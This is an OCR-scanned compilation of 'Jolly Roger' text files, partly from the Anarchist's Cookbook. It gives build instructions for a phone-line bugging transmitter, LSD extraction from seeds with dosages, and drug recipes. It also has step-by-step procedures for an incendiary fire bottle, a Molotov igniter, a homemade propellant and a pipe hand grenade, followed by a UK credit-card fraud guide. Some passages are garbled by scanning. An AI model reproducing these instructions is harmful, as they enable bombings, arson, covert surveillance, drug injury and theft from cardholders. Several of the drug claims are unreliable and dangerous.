*MEXICO 


TO CALL MEXICO, DIAL 011 + 52 + CITY CODE+ LOCAL NUMBER. 


To dial international calls: 

International Access Code + Country code + Routing code 

Example : 

To call Frankfurt, Germany, you would do the following: 

011 +49 +611 + @ wanted) + # sign(octothrope) 

The # sign at the end is to tell Bell that you are done entering in all the 


needed info. 


The Infinity Transmitter courtesy of the Jolly Roger 
originally typed by: 
<<<Ghost Wind>>> 


FROM THE BOOK BUILD YOUR OWN 
LASER, PHASER, ION RAY GUN & OTHER WORKING SPACE-AGE PROJECTS 
BY ROBERT IANNINI (TAB BOOKS INC) 


Description: Briefly, the Infinity Transmitter is a device which activates a 


microphone via a phone call. It is plugged into the phone line, and when the 
phone rings, it will immediately intercept the ring and broadcast into the 
phone any sound that is in the room. This device was originally made by 
Information Unlimited, and had a touch tone decoder to prevent all who did not 
know the code from being able to use the phone in its normal way. This 
version, however, will activate the microphone for anyone who calls while it is 
in operation. 

NOTE: It is illegal to use this device to try to bug someone. It is also 

pretty stupid because they are fairly noticeable. 

Parts List: 

Pretend that uF means micro Farad, cap= capacitor 


Part # Description 

R1,4,8 3 390 k 1/4 watt resistor 
R2 1 5.6 M 1/4 watt resistor 
R3,5,6 3 6.8 k 1/4 watt resistor 
R7/S1 1 5 k pot/switch 

R9I,16 2 100 k 1/4 watt resistor 


R10 ] 2.2 k 1/4 watt resistor 
R13,18 2 1 k 1/4 watt resistor 
R14 1 470 ohm 1/4 watt resistor 
R15 1 10 k 1/4 watt resistor 
R17 1 1 M 1/4 watt resistor 

Cl 1 .05 uF/25 V disc cap 


C2,3,5,6,7 5 1 uF 50 V electrolytic cap or tant 
(preferably non-polarized) 

C4,11,12 3 .01 uF/S0 V disc cap 

C8,10 2 100 uF @ 25 V electrolytic cap 


C9 1 5 uF @ 150 V electrolytic cap 
C13 it 10 uF @ 25 V electrolytic cap 
TMI 1 555 timer dip 

Al 1 CA3018 amp array in can 

Q1,2 2 PN2222 npn sil transistor 

Q3 j D40DS5 npn pwr tab transistor 
D1,2 2 50 V 1 amp react. 1N4002 

Tl 1 1,5 k/500 matching transformer 
Mi 1 large crystal microphone 

Jl 1 Phono jack optional for sense output 
WR3 (24") #24 red and black hook up wire 
WR4 (24") #24 black hook up wire 


CL3,4 2 Alligator clips 

CL1,2 2 6" battery snap clips 

PB1 i 1 3/4x4 1/2x.1 perfboard 

CAI 1 5 1/4x3x2 1/8 grey enclosure fab 


WRIS (12") #24 buss wire 


KNI i small plastic knob 
BUI 1 small clamp bushing 
B1,2 2 9 volt transistor battery or 9V ni-cad 


Circuit Operation: Not being the most technical guy in the world, and not being 
very good at electronics (yet), I'm just repeating what Mr. Jannini's said 
about the circuit operation. The Transmitter consists of a high grain 
amplifier fed into the telephone lines via transformer. The circuit is 
initiated by the action of a voltage transient pulse occurring across the 
phone line at the instant the telephone circuit is made (the ring, in other 
words). This transient immediately triggers a timer whose output pin 3 goes 
positive, turning on transistors Q2 and Q3. Timer TM! now remains in this 
state for a period depending on the values of R17 and C13 (usually about 10 
seconds for the values shown), When Q3 is turned on by the timer, a simulated 
“off hook" condition is created by the switching action of Q3 connecting the 
500 ohm winding of the transformer directly across the phone lines. 
Simultaneously, Q2 clamps the ground of Al, amplifier, and Q1, output 
transistor, to the negative return of B1,B2, therefore enabling this amplifier 
section. Note that B2 is always required by supplying quiescent power to TM1 
during normal conditions. System is off/on controlled by $1 (switch). 

A crystal mike picks up the sounds that are fed to the first two 
transistors of the Al array connected as an emitter follower driving the 
remaining two transistors as cascaded common emitters. Output of the 
array now drives Q1! capacitively coupled to the 1500 ohm winding of T1. 
R7 controls the pick up sensitivity of the system. 

Diode D1 is forward biased at the instant of connection and essentially 
applies a negative pulse at pin 2 of TM], initiating the cycle. D2 clamps 
any high positive pulses. C9 dc-isolates and desensitizes the circuit. The 
system described should operate when any incoming call is made without ringing 
the phone. 


Schematic Diagram: Because this is text, this doesn't look too hot. Please 
use a little imagination! I will hopefully get a graphics drawing of this 
out as soon as] can on a Fontrix graffile. 


To be able to see what everything is, this character: | should appear as a 
horizontal bar, J did this on a J[e using a ][e 80 column card, so I'm sorry if 
it looks kinda weird to you. 


Symbols: 
resistor: -A/V- switch: / 
battery: -/!|!- capacitor (electrolytic): -((- 


capacitor (disc): -||- =. 
transistor:(c) > (e) Transformer: }||( 


te, 


/ MC 


) JIC 
diode: |< 
chip: . : 
! ! (chips are easy to recognize!) 


Dots imply a connection between wires. NO DOT, NO CONNECTION. 


ie.: _| means a connection while _|_ means no connection. 
to GREEN wire phone line 
to RED wire phone line 
(M1) 
| 
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! AN ! 
Cl 
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sense output 


Construction notes: Because the damned book just gave a picture instead of step 
by step instructions, and I'll try to give you as much help as possible. Note 

that all the parts that you will be using are clearly labeled in the schematic. 

The perfboard, knobs, 'gator clips, etc are optional. I do strongly suggest 

that you do use the board!!! It will make wiring the components up much much 
easier than if you don't use it. 

The knob you can use to control the pot (R7). R7 is used to tune the IT so 

that is sounds ok over the phone. (You get to determine what sounds good) By 
changing the value of C13, you can change the amount of time that the circuit 
will stay open (it cannot detect a hang up, so it works on a timer.) A value of 
100 micro Farads will increase the time by about 10 times. 

The switch (S1) determines whether or not the unit is operational. Closed is 
on. Open is off, The negative return is the negative terminals of the battery! 
The batteries will look something like this when hooked up: 


<v ed in sy oe > 


oF, 


tle, Te <A [ice SE 
{+ -{| L/_t [+ -| 
| | switch* [| 
| 9volts| | | 9volts] 
! ! neg return | ! 


To hook this up to the phone line, there are three ways, depending upon what 
type of jack you have. If it is the old type (non modular) then you can just 
open up the wall plate and connect the wires from the transmitter directly to 
the terminals of the phone. 

If you have a modular jack with four prongs, attach the red to the negative 
prong (don't ask me which is which! I don't have that type of jack... I've only 
seen them in stores), and the green to the positive prong, and plug in, Try not 
to shock yourself... 

If you have the clip-in type jack, get double male extension cord (one with a 
clip on each end), and chop off one clip. Get a sharp knife and splice off the 
grey protective material. You should see four wires, including one green and 
one red, You attach the appropriate wires from the IT to these two, and plug 
the other end into the wall. 


Getting the IT to work: If you happen to have a problem, you should attempt to 
do the following (these are common sense rules!!) Make sure that you have the 
polarity of all the capacitors right (if you used polarized capacitors, that 

is). Make sure that all the soldering is done well and has not short circuited 
something accidently (like if you have a glob touching two wires which should 
not be touching.) Check for other short circuits. Check to see if the battery 

is in right. Check to make sure the switch is closed. 

If it still doesn't work, drop me a line on one of the Maryland or Virginia 
BBSs and I'll try to help you out. 


The sense output: Somehow or other, it is possible to hook something else up to 
this and activate it by phone (like an alarm, flashing lights, etc.) 


As of this writing, I have not tried to make one of these, but I will. If you 
actually get it working, leave me a note somewhere. 


I sure hope all you people appreciate this. 
LSD courtesy of the Jolly Roger 
I think, of all the drugs on the black market today, LSD is 
the strangest. It is the most recent major drug to come to 


life in the psychedelic subculture. (Blah blah blah... let's 
get to the good stuff: How to make it in your kitchen!!) 
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1) Grind up 150 grams of Morning Glory seeds or baby Hawaiian 
wood rose seeds. 

2) In 130 cc. of petroleum ether, soak the seeds for two days. 
3) Filter the solution through a tight screen. 

4) Throw away the liquid, and allow the seed mush to dry. 

5) For two days allow the mush to soak in 110 cc. of wood 
alcohol. 

6) Filter the solution again, saving the liquid and labeling 

it "1." 

7) Resoak the mush in 110 cc. of wood alcohol for two 
days. 

8) Filter and throw away the mush. 

9) Add the liquid from the second soak to the solution labeled 
W ] ¢ 7) 

10) Pour the liquid into a cookie tray and allow it to 
evaporate. 

11) When all of the liquid has evaporated, a yellow gum 
remains. This should be scraped up and put into capsules. 


30 grams of Morning Glory seeds = | trip 
15 Hawaiian wood rose seeds = | trip 


Many companies, such as Northop-King have been coating their 
seeds with a toxic chemical, which is poison. Order seeds from 

a wholesaler, as it is much safer and cheaper. Hawaiian wood 
rose seeds can be ordered directly from: 


Chong's Nursery and Flowers 
P.O. Box 2154 
Honolulu, Hawaii 


LSD DOSAGES 


The basic dosages of acid vary according to what kind of acid 

is available and what medium of ingestion is used. Chemically, 
the potency of LSD-25 is measured in micrograms, or mics. If 
you're chemically minded or making your own acid, then 
computing the number of micrograms is very important. Usually 
between 500 and 800 mics is plenty for an 8 hour trip, 
depending on the quality of the acid, of course. I have heard 

of people taking as much as 1,500-2,000 mics. This is not only 
extremely dangerous, it is extremely wasteful. 


LSD comes packaged in many different forms. The most common 


are listed below: 
1) The brown spot, or a piece of paper with a dried drop 
of LSD on it, is always around. Usually one spot equals 
one trip. 
2) Capsuled acid is very tricky, as the cap can be almost 
any color, size, or potency. Always ask what the acid is 
cut with, as a lot of acid is cut with either speed or 
strychnine. Also note dosage. 
3) Small white or colored tablets have been known to 
contain acid, but, as with capsuled acid, it's impossible 
to tell potency, without asking. 


(from the Anarchist's Cookbook. Typed up by Jolly Roger) 


Bananas courtesy of the Jolly Roger 


Believe it or not, bananas do contain a small quantity of 
_Musa Sapientum bananadine_, which is a mild, short-lasting 
psychedelic. There are much easier ways of getting high, but 
the great advantage to this method is that bananas are legal. 


1) Obtain 15 Ibs. of ripe yellow bananas. 

2) Peel all 15 ibs. and eat the fruit. Save the peels. 

3) With a sharp knife, scrape off the insides of the peels and 
save the scraped material. 

4) Put all of the scraped material in a large pot and add 
water. Boil for three to four hours until it has attained a 
solid paste consistency. 

5) Spread this paste on cookie sheets, and dry in an over for 
about 20 minutes to a half hour. This will result in a fine 
black powder, Makes about one pound of bananadine powder. 
Ususally one will feel the effects of bananadine after smoking 
three or four cigarettes. 


Table of Weights 
Pounds Ounces Grams Kilos 
1 16 453.6 0.4536 
0.0625 1 28.35 0.0283 
0.0352 1 0.001 


2.205 35.27 1,000 1 


(from the Anarchist's Cookbook typed by Jolly Roger) 


Yummy Marihuana Recipes courtesy of the Jolly Roger 


Acapulco Green 


3 ripe avocados 

1/2 cup chopped onions 

2 teaspoons chili powder 

3 tablespoons wine vinegar 

1/2 cup chopped marahuana (grass) 


Mix the vinegar, grass, and chili powder together and let the 


mixture stand for one hour. Then add avocados and onions and mash 


it all together. It can be served with tacos or as a dip. 


Pot Soup 


1 can condensed beef broth 

3 tablespoons grass 

3 tablespoons lemon juice 

1/2 can water 

3 tablespoons chopped watercress 


Combine all ingredients in a saucepan and bring to a boil over 
medium heat. Place ina refrigerator for two to three hours, 
reheat, and serve. 


Pork and Beans and Pot 


1 large can (1 Ib. 13 02.) pork and beans 
1/2 cup grass 

4 slices bacon 

1/2 cup light molasses 

1/2 teaspoon hickory salt 

3 pineapple rings 


Mix together in a casserole, cover top with pineapple and bacon, 
bake at 350 degrees for about 45 minutes. Serves about six. 


The Meat Ball 


1 lb. hamburger 

1/4 cup chopped onions 

1 can cream of mushroom soup 
1/4 cup bread crumbs 

3 tablespoons grass 

3 tablespoons India relish 


Mix it all up and shape into meat balls. Brown in frying pan and 
drain. Place in a casserole with soup and 1/2 cup water, cover and 
cook over low heat for about 30 minutes. Feeds about four people. 


Spaghetti Sauce 


1 can (6 oz.) tomato paste 
2 tablespoons olive oil 
1/2 cup chopped onions 
1/2 cup chopped grass 

1 pinch pepper 

1 can (6 oz.) water 

1/2 clove minced garlic 

1 bay leaf 

1 pinch thyme 

1/2 teaspoon salt 


Mix in large pot, cover and simmer with frequent stirring for two 
hours. Serve over spaghetti. 


Pot Loaf 


1 packet onion soup mix 

1 (16 oz.) can whole peeled tomatoes 
1/2 cup chopped grass 

2 lbs. ground beef or chicken or turkey 


1 egg 
4 slices bread, crumbled 


Mix all ingredients and shape into a loaf. Bake for one hour in 
400-degree oven. Serves about six. 


Chili Bean Pot 


2 Ibs. pinto beans 

1 Ib. bacon, cut into two-inch sections 
2 cups red wine 

4 tablespoons chili powder 

1/2 clove garlic 

1 cup chopped grass 

1/2 cup mushrooms 


Soak beans overnight in water. In a lagre pot pour boiling water 
over beans and simmer for at least an hour, adding more water to 
keep beans covered. Now add all other ingredients and continue to 
simmer for another three hours. Salt to taste. Serves about ten. 


Bird Stuffing 


5 cups rye bread crumbs 

2 tablespoons poultry seasoning 
1/2 cup each of raisins and almonds 
1/2 cup celery 

1/3 cup chopped onions 

3 tablespoons melted butter 

1/2 cup chopped grass 

2 tablespoons red wine 


Mix it all together, and then stuff it in. 


Apple Pot 


4 apples (cored) 

1/2 cup brown sugar 

1/4 cup water 

4 cherries 

1/3 cup chopped grass 
2 tablespoons cinnamon 


Powder the grass in a blender, then mix grass with sugar and water. 
Stuff cores with this paste. Sprinkle apples with cinnamon, and 
top with a cherry. Bake for 25 minutes at 350 degrees. 


Pot Brownies 


1/2 cup flour 

3 tablespoons shortening 
2 tablespoons honey 

egg (beaten) 

tablespoon water 

1/2 cup grass 

pinch of salt 

/4 teaspoon baking powder 
1/2 cup sugar 

2 tablespoons corn syrup 
square melted chocolate 
1 teaspoon vanilla 

/2 cup chopped nuts 


Sift flour, baking powder, and salt together. Mix shortening, 
sugar, honey, syrup, and egg. Then blend in chocolate and other 
ingredients, and mix well. Spread in an 8-inch pan and bake for 20 
minutes ate 350 degrees. 


Banana Bread 


1/2 cup shortening 

2 eggs 

1 teaspoon lemon juice 

3 teaspoons baking powder 
1 cup sugar 

1 cup mashed bananas 

2 cups sifted flour 

1/2 cup chopped grass 

1/2 teaspoon salt 

1 cup chopped nuts 


Mix the shortening and sugar, beat eggs, and add to mixture. 
Seperately mix bananas with lemon juice and add to the first 
mixture. Sift flour, salt, and baking powder together, then mix 
all ingredients together. Bake for 1 1/4 hours at 375 degrees, 


Sesame Seed Cookies 


3 oz. ground roast sesame seeds 
3 tablespoons ground almonds 
1/4 teaspoon nutmeg 

1/4 cup honey 


1/2 teaspoon ground ginger 

1/4 teaspoon cinnamon 

1/4 oz. grass 

Toast the grass until slightly brown and then crush it ina 
mortar. Mix crushed grass with all other ingredients, in a 
skillet. Place skillet over low flame and add 1 tablespoon of salt 
butter. Allow it to cook. When cool, roll mixture into little 
balls and dip them into the sesame seeds. 

If you happen to be in the country at a place where pot is being 
grown, here's one of the greatest recipes you can try. Pick a 
medium-sized leaf off of the marihuana plant and dip it into a cup 
of drawn butter, add salt, and eat. 


woeseen ene eeeee Jolly Roger 
(from the Anarchist's Cookbook!) 


Peanuts by the Jolly Roger 


Try this sometime when you are bored! 

1) Take one pound of raw peanuts (not roasted!) 

2) Shell them, saving the skins and discarding the shells. 

3) Eat the nuts. 

4) Grind up the skins and roll them into a cigarette, and smoke! 


You'll have fun, believe me! ------------- Jolly Roger 


Chemical Fire Bottle by the Jolly Roger 
This incendiary bottle is self-igniting on target impact. 
Maierials Required 


How Used Common Source 


Sulphuric Acid Storage Batteries | Motor Vehicles 


Material Processing Industrial Plants 


Gasoline Motor Fuel Gas Station or 
Motor Vehicles 

Potassium Chlorate Medicine Drug Stores 

Sugar Sweetening Foods —_ Food Store 


Glass bottle with stopper (roughly | quart size) 
Small Bottle or jar with lid. 

Rag or absorbant paper (paper towels, newspaper) 
String or rubber bands 


Procedure: 


1) Sulphuric Acid MUST be concentrated. If battery acid or other 
dilute acid is used, concentrate it by boiling until dense white 
fumes are given off. Container used to boil should be of 
enamel-ware or oven glass. 


CAUTION: Sulphuric Acid will burn skin and destroy clothing. If 
any is spilled, wash it away with a large quantity of water. Fumes 
are also VERY dangerous and should not be inhaled, 


2) Remove the acid from heat and allow to cool to room 
temperature. 


3) Pour gasoline into the large (1 quart) bottle until it is 
approximately 1/3 full. 


4) Add concentrated sulphuric acid to gasoline slowly until the 
bottle is filled to within 1" to 2" from top. Place the stopper on 
the bottle. 


5) Wash the outside of the bottle thoroughly with clear water. 


CAUTION: If this is not done, the fire bottle may be dangerous to 
handle during use! 


6) Wrap a clean cloth or several sheets of absorbant paper around 
the outside of the bottle. Tie with string or fasten with rubber 
bands. 


7) Dissolve 1/2 cup (100 grams) of potassium chlorate and 1/2 cup 
(100 grams) of sugar in one cup (250 cc) of boiling water. 


8) Allow the solution to cool, pour into the small bottle and cap 
tightly. The cooled solution should be approx. 2/3 crystals and 
1/3 liquid. If there is more than this, pour off excess before 
using. 


CAUTION: Store this bottle seperately from the other bottle! 


How To Use: 


1) Shake the small bottle to mix contents and pour onto the cloth 
or paper around the large bottle. Bottle can be used wet or after 
solution is dried. However, when dry, the sugar-Potassium chlorate 
mixture is very sensitive to spark or flame and should be handled 
accordingly. 


2) Throw or launch the bottle. When the bottle breaks against a 
hard surface (target) the fuel will ignite. 


wan nen nnn enen en Jolly Roger 


Igniter from Book Matches by the Jolly Roger 


This is a hot igniter made from paper book matches for use 
with molotov cocktail and other incendiaries. 


Material Required: 


Paper book matches 
Adhesive or friction tape 


Procedure: 


1) Remove the staple(s) from match book and seperate matches from 
cover. 


2) Fold and tape one row of matches (fold in thirds) 


3) Shape the cover into a tube with striking surface on the inside 


and tape. Make sure the folder cover will fit tightly around the 
taped match heads. Leave cover open at opposite end for insertion 
of the matches. 


4) Push the taped matches into the tube until the bottom ends are 
exposed about 3/4 in. (2 cm) 


5) Flatten and fold the open end of the tube so that it laps over 
about | in. (2-1/2 cm); tape in place. 


Use with a Molotov Cocktail: 


1) Tape the "match end tab" of the igniter to the neck of the 
molotov cocktail. 


2) Grasp the "cover and tab" and pull sharply or quickly to 
ignite. 


General Use: 


The book match igniter can be used by itself to ignite flammable 
liquids, fuse cords, and similar items requiring hot ignition. 


CAUTION: Store matches and completed igniters in moistureproof 
containers such as rubber or plastic bags until ready for use. 
Damp or wet paper book matches will not ignite. 


serene eee eeees Jolly Roger 
"Red or White Powder" Propellant by the Jolly Roger 


"Red or White Powder” Propellant may be prepared ina simple, 
safe manner. The formulation described below will result in 
approximately 2 1/2 pounds of powder. This is a small arms 
propellant and should only be used in weapons with 1/2 in. 
diameter or less (but not pistols!). 


Material Required: 


Heat Source (Kitchen Stove or open fire) 
2 gallon metal bucket 
Measuring cup (8 ounces) 


—— 


Wooden spoon or rubber spatula 

Metal sheet or aluminum foil (at least 18 in. sq.) 
Flat window screen (at least 1 foot square) 
Potassium Nitrate (granulated) 2-1/3 cups 

White sugar (granulated) 2 cups 

Powdered ferric oxide (rust) 1/8 cup (if available) 
Clear water, 1-1/2 cups 


Procedure: 


1) Place the sugar, potassium nitrate, and water in the bucket. 
Heat with a low flame, stirring occasionally until the sugar and 
potassium nitrate dissolve. 


2) If available, add the ferric oxide (rust) to the solution. 
Increase the flame under the mixture until it boils gently. 


NOTE: The mixture will retain the rust coloration. 


3) Stir and scrape the bucket sides occasionally until the mixture 
is reduced to one quarter of its original volume, then stir 
continuously. 


4) As the water evaporates, the mixture will become thicker until 
it reaches the consistency of cooked breakfast cereal or homemade 
fudge. At this stage of thickness, remove the bucket from the heat 
source, and spread the mass on the metal sheet. 


5) While the material cools, score it with a spoon or spatula in 
crisscrossed furrows about | inch apart. 


6) Allow the material to dry, preferably in the sun. As it dries, 
resore it accordingly (about every 20 minutes) to aid drying. 


7) When the material has dried to a point where it is moist and 
soft but not sticky to the touch, place a small spoonful on the 
screen, Rub the material back and forth against the screen mesh 
with spoon or other flat object until the material is granulated 
into small worm-like particles. 


8) After granulation, return the material to the sun to allow to 
dry completely. 


Se eat eae Jolly Roger 


Pipe Hand Grenade by the Jolly Roger 


Hand Grenades can be made from a piece of iron pipe. The 
filler can be of plastic or granular military explosive, 
improvised explosive, or propellant from shotgun or small arms 
munition. 


Material Required: 


Iron Pipe, threaded ends, 1-1/2" to 3" diameter, 3” to 8" long. 
Two (2) iron pipe caps 

Explosive or propellant 

Nonelectric blasting cap (Commercial or military) 

Fuse cord 

Hand Drill 

Pliers 


Procedure: 


1) Place blasting cap on one end of fuse cord and crimp with 
pliers. 


NOTE: To find out how long the fuse cord should be, check the time 
it takes a known length to burn. If 12 inches burns in 30 seconds, 
a 6 inch cord will ignite the grenade in 15 seconds. 


2) Screw pipe cap to one end of the pipe. Place fuse cord with 
blasting cap into the opposite end so that the blasting cap is 
near the center of the pipe. 


NOTE: If plastic explosive is to be used, fill pipe BEFORE 
inserting blasting cap. Push a round stick into the center of the 
explosive to make a hole and then insert the blasting cap. 


3) Pour explosive or propellant into pipe a little bit at a time. 
Tap the base of the pipe frequently to settle filler. 


4) Drill a hole in the center of the unassembled pipe caplarge 
enough for the fuse cord to pass through. 


5) Wipe pipe threads to remove any filler material. Slide the 
drilled pipe cap over the fuse and screw handtight onto the pipe. 


Ready to go! 


Xplechtwaetes Jolly Roger 


U.K. CREDIT CARD FRAUD - 22/10/90 - Written by CREDITMAN 


U.K. credit card-fraud is a lot easier than over in the States. The 
same basic 3 essentials are needed - 


1...A safehouse. 
2...Credit card numbers with Xp date and address. 
3...Good suppliers of next day delivery goods. 


1... The Safehouse 

The safehouse should be on the ground floor, so as not to piss off 

the delivery man when he comes to drop off your freshly stolen gear. 
If he has to go up 10 flights in a complete dive and some 14 year old 
kid signs for an A2000 then he's gonna wonder! Make sure there are no 
nosey neighbours, a good area is one full of yuppies 'cos they all go 

to work during daytime. Safehouses are usually obtained by paying a 
month's rent in advance or putting down a deposit of say, 200. 
Hither that or break into a place and use that. 


2...Credit Card Numbers. 

The card number, expiry date, start date (if possible), full name 
(including middle inital), phone number and full address with postcode 
are ideal. If youcan only get the sirname, and no postcode, you 
shouldn't have any real hassle. Just say you moved recently to your 
new address. Phone number is handy, if it just rings and rings but if 

it doesn't, then make sure it's ex-directory. You CANNOT get away 
with giving them a bullshit phone number. Some fussy companies want 
phone numbers just to cross-check on CARDNET but generally it's not 
needed. To recap, here's a quick check-list... 


1.Card number and Xpiry date. 
2.Name and address of card holder. 
3.First name/initials (OPTIONAL) 
4.Start date (OPTIONAL) 
5.Postcode (OPTIONAL) 

6.Phone number (OPTIONAL) 


If you have all 6, then you shouldn't have any hassle. Start date is 
the rarest item you could be asked for, postcode and initals being 


os 


cleared. As the month goes on, credit is used up - the bad times are 
from 27h 3rd which is when all the bills come in. Best time to 
card is around 11th or 12th, when the poor guy has paid off his last 
bill so you can run up a new one (he, he, he!). 


Ideal:items to card... 


The best stuff is always computer hard-ware as it's next-day. Amigas, 
ST's, PC's - anything really. Blank discs are a waste of time, 
they're too heavy. Xternal drives, monitors - good stuff basically. 
Don't.order any shit like VCR's, hi-fi, video-cameras, music 
keyboards, computer software, jewerely or anything under 300. You'll 
find the listed items are difficult to get next day delivery and 
usually won't deliver to a different address - bastards, eh? You're 
wasting your time with little items under 300, try to keep deliveries 
under 10 a day. 


The:drop.... 
Two ways of doing the drop 


1.Sign for all the gear (make sure you're there between 9.00 and 
5.30 P.M.) 


2.Don't turn up till around 6.30 P.M. and collect all the cards 
that the delivery man has left. These usually say 'you were out at XX 
time so could you please arrange new time for delivery or pick up 
from our depot’. In that case, piss off to the depot and get all the 
gear (need a big car!). 


Remember, carding is ILLEGAL kiddies, so don't do it unless you're 
going to cut me‘on it!!! 


------+----Jolly Roger 


